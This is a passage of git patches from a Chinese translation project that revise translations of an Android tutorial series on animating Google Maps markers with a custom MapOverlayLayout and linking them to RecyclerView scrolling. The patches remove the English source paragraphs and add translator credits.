-* [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
-* [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 5326831597aeb5b7bc65b24b2e8d0630e9a33ef1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Wed, 31 May 2017 23:55:11 +0800
Subject: [PATCH 565/638] =?UTF-8?q?2017.5.31=20=E6=A0=B9=E6=8D=AE=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...animating-markers-with-mapoverlaylayout.md | 139 ++++--------------
 1 file changed, 31 insertions(+), 108 deletions(-)

diff --git a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
index f1988002817..e45125261ef 100644
--- a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
+++ b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
@@ -1,92 +1,61 @@
-> * 原文地址：[Workcation App – Part 2. Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
-> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
+> * 原文地址：[Workcation App – Part 1. Fragment custom transition](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
+> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
+> * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)
 
-#  Workcation App – Part 2. Animating Markers with MapOverlayLayout #
+#  Workcation App – 第二部分 . Animating Markers 和 MapOverlayLayout #
 
-#  Workcation App – Part 2. Animating Markers 和 MapOverlayLayout #
-
-Welcome to the second of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
-
-欢迎阅读本系列文章的第二篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
+欢迎阅读本系列文章的第二篇，此系列文章和我前一段时间完成的“研究发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
 Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
 Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+Part 3: [RecyclerView 互动 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
-Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
+Part 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
  
-
 项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
 
 动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
-# Prelude #
-
-A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
-![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083) 
-
-几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
+# 序言
 
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，会后决定用代码实现它。我可没想到到我会摊上啥...
 
-GIF 1 *“The animation”*
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
 
 GIF 1 **“动画效果”**
 
-
-# Let’s start! #
-
 # 开始吧！
 
-As we can see in the GIF above, there is a lot of going on.
-
 就像上面 GIF 动画展示的，需要做的事情有很多。
 
-1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
-
-1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上.
-
-2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.
 
-当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
+2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里序列的位置。)
 
-3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
 
-在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
+4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。
 
-4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
+就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中我会编写地图加载以及神秘的 MapWrapperLayout。敬请期待！
 
 
-当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
+# 需求
 
-
-Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover the map loading and mysterious MapWrapperLayout. Stay tuned!
-
-
-就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中我会编写进入地图 fragment 的转场动画。
-
-
-# The Problem #
-
-So the next step in my development was to load the map to show all of the markers provided by the “API” (simple singleton parsing JSON from assets).  Fortunately, it’s been already described in the [previous post](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition#preloading_map). The second thing we need to do is to load markers with fade/scale animation. Easy, right? Not really.
-
-所以下一步的需求是：加载地图时展示所有由 “API” (一个把 asset 转换为 JSON 的简单单例)提供的标记。幸运的是，[前一章节](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)里我们已经描述过这些标记了。再下一步的需求是：使用渐显和缩放动画来加载这些标记。很简单，是吧？大错特错。
-
-Unfortunately, the Google Maps API only allows us to pass BitmapDescriptor as an icon of the Marker. This is how it’s done:
+所以下一步的需求是：加载地图时展示所有由 API (一个解析 assets 文件夹中 JSON 文件的简单单例)提供的标记。幸运的是，[前一章节](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)里我们已经描述过这些标记了。再下一步的需求是：使用渐显和缩放动画来加载这些标记。听起来很简单，但理想和现实总是有差距的。
 
 不幸的是，谷歌地图 API 只允许我们传递 BitmapDescriptor 类型的标记图标做参数，就像下面那样：
 
 ```
 Java
 
-GoogleMap map=...// get a map.
+GoogleMap map=...// 获得地图
 
-   // Add a marker at San Francisco with an azure colored marker.
+   // 通过蓝色的标记标注旧金山的位置
 
    Marker marker=map.add(new MarkerOptions()
 
@@ -99,17 +68,11 @@ GoogleMap map=...// get a map.
        .icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE));
 ```
 
-As you can see on the [animation gif](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/#animation), we have to implement scale/fade in animation on loading, scale up/scale down animation while scrolling RecyclerView and fade out when entering details layout. It would be much easier with the Animation/ViewPropertyAnimator API available. Do we have a solution for that? Yes we have!
 
 如[效果](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/#animation)所示，我们需要在加载时实现标记渐显和缩放动画，滑动 RecycleView 的时候实现标记闪烁动画，进入详情页面的时候让标记在渐隐动画中隐藏。使用帧动画或者属性动画（Animation/ViewPropertyAnimator API）会更合理一些.我们有解决这个问题的方法吗？当然，我们有！
 
-## MapOverlayLayout ##
-
-## MapOverlayLayout ##
 
-So what is the solution? It’s rather simple, however, it took me a while to figure this out. We need to add a MapOverlayLayout over the SupportMapFragment from GoogleMapsApi. With a projection pulled out of the map (a projection is used to translate between on-screen location and geographic coordinates on the surface of the Earth, via
-
-MapOverlayLayout is a custom FrameLayout with the same dimensions as the SupportMapFragment. When the map is loaded, we can pass a reference to the MapOverlayLayout and use it to add custom views with animation, move them along with the screen gestures, etc. And of course, we can do what we need – add Markers (now the custom views) with scale/fade animation, hide them, make the “pulse” animation while scrolling RecyclerView.
+## MapOverlayLayout 
 
 该怎么办呢？其实很简单，但我还是花了点时间才弄明白。我们需要在 SupportMapFragment 上（注：也就是上一篇提到的 MapFragment）添加一层使用谷歌地图 API 所获得的 MapOverlayLayout，在该层上添加地图的映射（映射是用来转换屏幕上的的坐标和地理位置的实际坐标，参见[此文档](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection)）。
 
@@ -117,17 +80,11 @@ MapOverlayLayout is a custom FrameLayout with the same dimensions as the Support
 
 类 MapOverlayLayout 是一个自定义的 帧布局（FrameLayout），该布局和 MapFragment 大小位置完全相同。当地图加载完毕的时候，我们可以将 MapOverlayLayout 作为参数传递给 MapFragment，通过它用动画加载自定义的 View 、根据手势移动地图镜头之类的事情。当然了，我们可以做现在需要的事情 —— 通过缩放和渐显动画添加标记 （也就是现在的自定义 View)、隐藏标记、当滑动 RecycleView 让标记开始闪烁。
 
-## MapOverlayLayout – the setup ##
-
 ## MapOverlayLayout – 添加
 
-So how to setup the MapOverlayLayout to cooperate with SupportMapFragment and GoogleMap?
-
 怎么样用 SupportMapFragment 和 谷歌地图添加一个 MapOverlayLayout 呢？
 
-First, let’s look at the DetailsFragment XML:
-
-第一步,让我们先看看 DetailsFragment 的XML 文件:
+第一步,让我们先看看 DetailsFragment 的 XML 文件:
 
 ```
 
@@ -186,11 +143,7 @@ First, let’s look at the DetailsFragment XML:
 </android.support.design.widget.CoordinatorLayout>
 ```
 
-As we can see above, there is a PulseOverlayLayout with same dimensions as SupportMapFragment placed underneath. The PulseOverlayLayout inherits from the MapOverlayLayout and adds some specific logic for the app purpose (for example adding start and finish markers to the layout after clicking on the RecyclerView item, creating PulseMarkerView – custom views I will describe later in the post).  There is also an ImageView inside the layout – that’s the placeholder we use to create fragment enter transition I described [here](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition#enter_transition). And that’s all the work for XML! Let’s move on to another piece 0f code – the DetailsFragment itself.
-
-如我们所见，有一个和 SupportMapFragment 距离底部相等的 PulseOverlayLayout 盖在（SupportMapFragment ）上面。PulseOverlayLayout 继承自 MapOverlayLayout，根据 app 需要添加了自己独有的逻辑（比如说 点击 RecycleView 时在界面上添加开始标记与结束标记，创建 PulseMarkerView _ 一个在之后会解释的自定义 View）。在布局中还包含一个 ImageView，这是我[之前](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)准备创建的转场动画的占位符。 xml  的工作就完成了，现在就开始专注于代码实现 —— DetailsFragment。
-
-Let’s move on to another piece 0f code – the DetailsFragment itself.
+如我们所见，有一个和 SupportMapFragment 尺寸相同、位置（marginBottom）也一样的 PulseOverlayLayout 盖在（SupportMapFragment ）上面。PulseOverlayLayout 继承自 MapOverlayLayout，根据 app 需要添加了自己独有的逻辑（比如说 点击 RecycleView 时在界面上添加开始标记与结束标记，创建 PulseMarkerView _ 一个在之后会解释的自定义 View）。在布局中还包含一个 ImageView，这是我[之前](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)准备创建的转场动画的占位符。 xml  的工作就完成了，现在就开始专注于代码实现 —— DetailsFragment。
 
 现在就开始专注于代码实现 DetailsFragment。
 
@@ -302,11 +255,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 }
 ```
 
-As we can see above – the map is loaded exactly the same as in the previous article, with *onMapReady* method. After receiving this callback, we are able to update maps bounds, add markers to MapOverlayLayout and set proper listeners.
-
-如上所示，地图通过 **onMapReady** 和上一篇一样进行加载。在接收回调后。我们就可以更新地图的边界，在 MapOverlayLayout 添加标记，设置监听.
-
-In the following code, we are moving the camera to the bounds that will show us all of the markers. Next, when camera finishes moving, we are creating markers and showing them on the map. After that, we set OnCameraIdleListener to null. It is because we don’t want to add markers when we move the camera. In the last line of code, we are setting OnCameraMoveListener to refresh all of the Markers positions on the screen.
+如上所示，地图通过 **onMapReady** 和上一篇一样进行加载。在接收回调后。我们就可以更新地图的边界，在 MapOverlayLayout 添加标记，设置监听。
 
 在下面的代码中，我们会把地图镜头移动到可以展示我们所有标记的地方。然后当镜头移动完毕时，在地图上创造并展示标记。在这之后，我们设置 OnCameraIdleListener  空（null）。因为我们希望再次移动镜头时不要添加标记。在最后一行代码中，我们为 OnCameraMoveListener 设置了刷新所有标记位置的动作。
 
@@ -334,20 +283,12 @@ In the following code, we are moving the camera to the bounds that will show us
     }
 ```
 
-## MapOverlayLayout – how does it work? ##
-
 ## MapOverlayLayout – 它是怎么工作的呢？
 
-So how it actually works?
-
 那么它究竟是如何工作的呢？
 
-With a projection pulled out of the map (a projection is used to translate between on-screen location and geographic coordinates on the surface of the Earth, via [*documentation*](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection)) we are able to get x and y values of the Marker and use them to place Custom View in the place of the Marker on the MapOverlayLayout.
-
 通过地图映射(映射是用来转换屏幕上的的坐标和地理位置的实际坐标，参见[此文档](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection))。我们可以拿到标记的横坐标与纵坐标，通过坐标来在 MapOverlayLayout 上放置标记的自定义 View。
 
-This approach allows us to use f.e. ViewPropertyAnimator API with custom views to animate them.
-
 这种做法可以让我们使用比如自定义 View 的属性动画（ViewPropertyAnimator ）API 创建动画效果。
 
 ```
@@ -466,9 +407,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 }
 ```
 
-The methods used in the *moveMapAndAddMarker* method in DetailsFragment are visible above. We can see setters for CameraListeners, *refresh* method for updating the Marker position on the MapOverlayLayout; *addMarker* and *removeMarker* methods,  which are adding MarkerView to the layout and also to the list. With this approach, the MapOverlayLayout have references to all of the views added to the MapOverlayLayout. At the top of the class, we can see that we have to make our custom views to inherit from the MarkerView. It is an abstract class that inherits from View class and looks like this:
-
-解释一下在 **moveMapAndAddMarker** 里调用的方法：为 CameraListeners 监听提供了 set 方法；**刷新**方法是为了更新标记的位置；**addMarker** 和 **removeMarker** 是用来添加 MarkerView (也就是上文所说的自定义 view)到布局和列表中。通过这个方案，MapOverlayLayout持有了所有被添加到自身的 View 引用。在类的最上面的是继承自 自定义 View —— MarkerView —— 的泛型。MarkerView 是一个继承自 View 的抽象类，看起来像这样：
+解释一下在 **moveMapAndAddMarker** 里调用的方法：为 CameraListeners 监听提供了 set 方法；**刷新**方法是为了更新标记的位置；**addMarker** 和 **removeMarker** 是用来添加 MarkerView (也就是上文所说的自定义 view )到布局和列表中。通过这个方案，MapOverlayLayout持有了所有被添加到自身的 View 引用。在类的最上面的是继承自 自定义 View —— MarkerView —— 的泛型。MarkerView 是一个继承自 View 的抽象类，看起来像这样：
 
 ```
 public abstract class MarkerView extends View{
@@ -546,9 +485,7 @@ public abstract class MarkerView extends View{
 }
 ```
 
-With *show, hide* and *refresh* abstract methods we can specify the way the Marker will appear, disappear or refresh. It also needs the Context, LatLng and Point. Let’s look into our implementation:
-
-通过抽象方法 **show, hide** 和 **refresh** ，我们可以使得标记显示、消失或者刷新。它还需要 Context 对象、经纬度和在屏幕上的坐标点。我们一起来看看它的实现类：
+通过抽象方法 **show, hide** 和 **refresh** ，我们能够指定该标记显示、消失和刷新的方式。它还需要 Context 对象、经纬度和在屏幕上的坐标点。我们一起来看看它的实现类：
 
 ```
 public class PulseMarkerView extends MarkerView{
@@ -875,48 +812,34 @@ public class PulseMarkerView extends MarkerView{
 
 }
 ```
- 
-This is PulseMarkerView class which inherits from MarkerView. In the constructor, we are setting up the AnimatorSets for showing, hiding and “pulsing”. In overridden methods from MarkerView, we are simply starting specific AnimatorSet. There is also *updatePulseViewLayoutParams* method which updates the position of the PulseViewMarker on the screen. The rest is drawing on the canvas with Paints created in the constructor.
 
-这是继承自 MarkerView 的 PulseMarkerView。在构造方法（constructor）中，我们设置一个显示、消失和闪烁的动画序列(AnimatorSets)。在重写 MarkerView 的方法里，我们只是单纯的启动了这个动画序列。**updatePulseViewLayoutParams** 中更新了屏幕上的 PulseViewMarker。剩下的就是根据构造方法，重写了 onDraw 方法来重绘界面。
-
-This is the effect:
+这是继承自 MarkerView 的 PulseMarkerView。在构造方法（constructor）中，我们设置一个显示、消失和闪烁的动画序列(AnimatorSets)。在重写 MarkerView 的方法里，我们只是单纯的启动了这个动画序列。**updatePulseViewLayoutParams** 中更新了屏幕上的 PulseViewMarker。接下来就是使用构造方法里创建的 Paints 来绘制界面。
 
 效果：
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/load_markers_pulse.gif?x77083)
 
-*Loading Markers and scaling on scroll*
 
-**加载地图和滑动 RecycleView**
+**加载地图和滑动 RecycleView **
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/moving_map.gif?x77083)
 
-*Refreshing the markers position while moving the map*
 
-**移动地图镜头时刷新标记**
+** 移动地图镜头时刷新标记 **
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_map.gif?x77083)
 
-*Zooming the map*
-
-**地图缩放**
+** 地图缩放 **
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_pulsing.gif?x77083)
 
-*Zooming the map and scaling Markers while scrolling*
 
 **缩放和滚动效果**
 
-# Conclusion #
-
 # 总结
 
-As we can see, there is a big advantage from this approach – we can use the power of the Custom Views widely. Also, there is a very little delay when we move the map and refresh Markers position. I think it is a little price we have to pay compared to the advantages we have from this solution.
-
-如上所示，这种做法有一个巨大的进步 —— 我们可以广泛的使用自定义 View 的力量。不过呢，移动地图和刷新标记位置的时候会有一点小延迟。和完成的需求相比，这是可以可以接受的代价。
 
-Thanks for reading! Next part will be published on Tuesday 14.03. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
+如上所示，这种做法有一个巨大的优势 —— 我们可以广泛的使用自定义 View 的力量。不过呢，移动地图和刷新标记位置的时候会有一点小延迟。和完成的需求相比，这是可以可以接受的代价。
 
 多谢阅读！下一篇会在周二 14:03 更新。如果有任何疑问，欢迎评论。如果觉得有帮助的话，不要忘记分享哟。
 

From ea56f134bd934c9f45ff6868d98230bef44040b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Thu, 1 Jun 2017 10:42:27 +0800
Subject: [PATCH 566/638] =?UTF-8?q?2017.6.1=20=E6=A0=B9=E6=8D=AE=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9=E6=96=87=E4=BB=B6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...rview-interaction-with-animated-markers.md | 131 +++++-------------
 1 file changed, 32 insertions(+), 99 deletions(-)

diff --git a/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
index 09c946f3a99..7cddc5a666c 100644
--- a/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
+++ b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
@@ -1,99 +1,60 @@
 > * 原文地址：[Workcation App – Part 3. RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
 > * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
+> * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)
 
-#  Workcation App – Part 3. RecyclerView interaction with Animated Markers #
+#  Workcation App – 第三部分. 带有动画的标记（Animated Markers） 与 RecyclerView 的互动
 
-#  Workcation App – 第三部分.Animated Markers 与 RecyclerView 的互动 #
-
-Welcome to the second of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
-
-欢迎阅读本系列文章的第三篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
+欢迎阅读本系列文章的第三篇，此系列文章和我前一段时间完成的“研发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
 Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
-Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
-
-Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+Part 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
+Part 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
- 
+Part 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
 项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
 
 动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
- 
-
-# Prelude #
-
-A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
-
+# 序言
 
-几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，会后决定用代码实现它。我可没想到到我会摊上啥...
 
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
 
-GIF 1 *“The animation”*
-
 GIF 1 **“动画效果”**
 
-# Let’s start! #
-
 # 开始吧！
 
-As we can see, in the GIF above, there is a lot of going on.
-
 就像上面 GIF 动画展示的，需要做的事情有很多。
 
-1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
-
-1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上。
-
-2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
-
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.
 
-当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
-3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里的位置。)
 
+3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
 
-在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
-
-
-4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
-
-
-当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
-
-
-Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover how to animate markers with RecyclerView interaction!
+4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。
 
 就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中，我会解决如何让标记与 RecycleView 产生互动。
 
-# The Problem #
+# 需求
 
-# 需求 
-
-RecyclerView has some native tools for managing its state. We can set ItemAnimator and ItemDecorator to add some nice animations and look for ViewHolders, LayoutManager for managing how views are measured and positioned. We also have listeners for receiving messages of specific condition of the RecyclerView.
-
-RecyclerView 有一些本地工具来管理自身的状态。我们可以设置 ItemAnimator 或者 ItemDecorator 来添加一些不错的动画效果、查找 ViewHolder，设置 LayoutManager 来控制布局的显示方式。我们还有 listener 来监听 RecyclerView 的特殊状态。
-
-As we can see, there is a horizontal RecyclerView with list of CardViews with some details about some places around Bali. While we are scrolling, the corresponding marker is animated with simple scale up/down animation. So how was it implemented? Of course, with some problems 🙂！
+RecyclerView 有一些本地工具来管理自身的状态。我们可以设置 ItemAnimator 或者 ItemDecorator 来添加一些不错的动画效果，通过 ViewHolder 和 LayoutManager 来控制布局的尺寸和位置。我们还有 listener 来监听 RecyclerView 的特殊状态。
 
 如上所示，这是一个横向的 RecyclerView，该 RecycleView 包含一组记录巴厘岛周边详情的 CardViews。当滑动 RecyclerView 的时候，对应的标记要做出闪烁。所以如何实现呢？当然是有一些问题需要解决的 🙂！
 
-## OnScrollListener ##
-
-OnScrollListener is a class that allows us to *receive messages when a scrolling event has occurred on that RecyclerView (via [documentation](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.OnScrollListener.html))*. This class have *onScrolled* method – it is the key to interact between scroll position and animating markers! This callback method is invoked when scroll occurs. Let’s look at it:
+## OnScrollListener
 
 OnScrollListener 是一个允许我们**在 RecyclerView 的滑动事件被触发时接收回调的类(参见[此处](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.OnScrollListener.html))**。该类有 **onScrolled** 方法 —— 这是联系滚动位置（position）和标记的关键。该回调方法监听滚动事件。让我们看一看它长啥样：
 
 
- 
+
 ```
 Java
     @Override
@@ -104,39 +65,23 @@ Java
 
     }
 ```
- 
-As we can see, there is a RecyclerView passed as an argument, also dx and dy. “dx” is the amount of horizontal scroll, “dy” is the amount of vertical scroll. In our case we are interested in recyclerView argument.
 
